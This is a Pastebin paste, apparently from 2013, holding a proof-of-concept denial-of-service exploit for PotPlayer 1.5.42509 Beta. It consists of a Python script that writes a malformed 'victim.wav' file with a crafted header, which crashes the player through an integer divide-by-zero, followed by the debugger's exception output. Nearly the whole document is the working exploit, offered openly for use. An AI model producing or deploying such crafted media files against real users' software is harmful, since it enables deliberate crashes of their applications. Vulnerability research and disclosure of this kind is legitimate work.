Advertisement
AndrewHaxalot

PotPlayer 1.5.42509 Beta - DOS Integer Division

Dec 16th, 2013
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.97 KB | None | 0 0
  1. ###########################################################
  2. #[~] Exploit Title:PotPlayer 1.5.42509 Beta - DOS(Integer Division by Zero
  3. #Exploit)
  4. #[~] Author: sajith
  5. #[~] version: PotPlayer 1.5.42509 Beta
  6. #[~]Vendor Homepage: http://daumpotplayer.com/
  7. #[~] Tested in: Windows XP SP3
  8. #[~] vulnerable app link:http://daumpotplayer.com/download/
  9. ###########################################################
  10.  
  11. #POC:
  12. #-------
  13. #!/usr/bin/python
  14. raw_input("Hit Enter to create a malicious file")
  15.  
  16. f = open("victim.wav","w")
  17.  
  18. header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
  19. "\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
  20. "\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
  21. "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  22. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  23. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  24. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  25. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  26. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  27. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  28. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  29. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  30. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  31. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
  32. f.write(header)
  33.  
  34. print "[#] File created by sajith shetty"
  35.  
  36. raw_input("Hit enter to exit")
  37. #-----
  38. '''
  39. (694.4d8): Integer divide-by-zero - code c0000094 (first chance)
  40. First chance exceptions are reported before any exception handling.
  41. This exception may be expected and handled.
  42. eax=ffffffff ebx=040e0be0 ecx=00000000 edx=00000000 esi=ffffffff
  43. edi=0021977a
  44. eip=748fe82c esp=0131f2a0 ebp=0131f334 iopl=0 nv up ei pl zr na pe
  45. nc
  46. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
  47. efl=00010246
  48. '''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement